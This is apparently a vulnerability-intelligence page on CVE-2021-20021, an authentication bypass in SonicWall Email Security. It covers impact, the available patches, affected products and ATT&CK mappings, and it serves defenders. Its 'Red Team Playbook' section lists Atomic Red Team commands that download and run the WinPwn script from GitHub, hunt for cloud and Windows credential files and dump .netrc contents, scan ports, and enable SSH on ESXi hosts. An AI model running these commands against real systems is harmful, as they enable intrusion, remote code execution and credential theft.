CVE-2021-20021

CRITICAL CISA KEV POC TTE 880d Pub 09/04 Upd 21/10

Overview

This vulnerability is an authentication bypass that enables unauthorized creation of administrative accounts. It arises from improper access control validation in the SonicWall Email Security management interface. The flaw affects the HTTP request handling component of SonicWall Email Security version 10.0.9.x, allowing attackers to execute privileged operations without authentication.

Vulnerability Description

A vulnerability in the SonicWall Email Security version 10.0.9.x allows an attacker to create an administrative account by sending a crafted HTTP request to the remote host.

Impact

An attacker can remotely create administrative accounts without any authentication or user interaction, gaining full control over the SonicWall Email Security system. This enables unauthorized access to sensitive email security configurations and potential manipulation of email traffic filtering. The compromise can lead to complete system takeover, data exfiltration, and disruption of email security services, severely impacting organizational security posture.

Solution

SonicWall has released patches addressing this vulnerability for Email Security version 10.0.10 and later. Administrators should apply the updates as detailed in the SonicWall security notice at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0007 and the product notification at https://www.sonicwall.com/support/product-notification/security-notice-sonicwall-email-security-zero-day-vulnerabilities/210416112932360. It is critical to upgrade affected firmware on Email Security Appliances (models 3300, 4300, 8300, 9000) to the fixed versions to mitigate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability exists within SonicWall Email Security version 10.0.9.x, which allows unauthorized users to create administrative accounts through specially crafted HTTP requests. This flaw arises from improper validation of input parameters, enabling attackers to bypass authentication mechanisms. By exploiting this weakness, an attacker can gain elevated privileges, potentially leading to full control over the email security appliance. The implications of this vulnerability are severe, as it undermines the core security features of the affected products, exposing sensitive information and compromising the integrity of email communications.

The attack vector for this vulnerability is primarily remote, as it requires only the ability to send HTTP requests to the affected devices. An attacker could exploit this vulnerability from anywhere on the internet, provided they can reach the target system. Scenarios for exploitation include crafting a malicious HTTP request that manipulates the parameters used during the account creation process. This could be done through automated scripts or tools designed to probe for weaknesses in web applications. Once the attacker successfully creates an administrative account, they can perform a range of malicious activities, such as intercepting emails, altering configurations, or deploying additional malware within the network.

The real-world impact of this vulnerability is significant, particularly for organizations that rely on SonicWall Email Security appliances for protecting their email infrastructure. The potential for unauthorized access to sensitive communications can lead to data breaches, loss of customer trust, and regulatory repercussions. Furthermore, the ability to manipulate email security settings could enable attackers to launch phishing campaigns or distribute malware under the guise of legitimate communications. The business risks associated with such an incident are substantial, encompassing financial losses, reputational damage, and the costs associated with incident response and recovery.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the affected SonicWall products is crucial, as vendors typically release security updates to address known vulnerabilities. Additionally, monitoring network traffic for unusual patterns or unauthorized access attempts can help identify potential exploitation attempts. Organizations should also consider employing web application firewalls (WAFs) to filter and monitor HTTP requests, blocking those that exhibit suspicious characteristics. Furthermore, implementing strict access controls and regularly auditing user accounts can help minimize the risk of unauthorized account creation.

In conclusion, the vulnerability within SonicWall Email Security poses a serious threat to organizations that utilize these products for email protection. The ease of exploitation, combined with the potential for significant damage, underscores the importance of proactive security measures. By staying informed about vulnerabilities, applying timely patches, and employing robust detection and mitigation strategies, organizations can better safeguard their email systems against such critical threats.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-20021, signaling renewed adversary interest despite a slight decline in the EPSS score. This uptick in activity, coupled with the vulnerability’s inclusion in the Known Exploited Vulnerabilities catalog and its association with ransomware groups such as Sinobi, underscores an elevated operational risk for organizations running SonicWall Email Security 10.0.9.x. Although the EPSS score shows a modest decrease, the surge in telemetry from our sensors indicates that threat actors continue to actively probe and potentially weaponize this flaw. The presence of a publicly accessible proof-of-concept exploit, albeit limited in visibility, further lowers the barrier for exploitation. Collectively, these developments heighten the urgency for defenders to maintain vigilant monitoring and reinforce detection capabilities, as the threat landscape surrounding this critical vulnerability remains dynamic and potentially impactful.

Affected Products (11)

Vendor Product Version CPE
sonicwall Sonicwall Email Security All cpe:2.3:a:sonicwall:email_security:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 9000 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_9000_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 3300 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_3300_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 4300 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_4300_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 8300 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_8300_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 5000 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_5000_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 7000 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_7000_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 5050 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_5050_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 7050 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_7050_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Virtual Appliance All cpe:2.3:a:sonicwall:email_security_virtual_appliance:*:*:*:*:*:*:*:*
sonicwall Sonicwall Hosted Email Security All cpe:2.3:a:sonicwall:hosted_email_security:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
SUPRAAA-1337/CVE-2021-20021
SUPRAAA-1337 2 0 2023-09-07 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

6 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2023-09-07
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Privilege Escalation
89% privilege_escalation
Authentication Bypass
67% auth_bypass
Authorization Bypass
50% authz_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-122 Privilege Abuse
30%
High Medium
CAPEC-233 Privilege Escalation
30%
CAPEC-58 Restful Privilege Elevation
30%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-20021
psirt.global.sonicwall.com
GitHub CVE x_refsource_CONFIRM
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0007
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-20021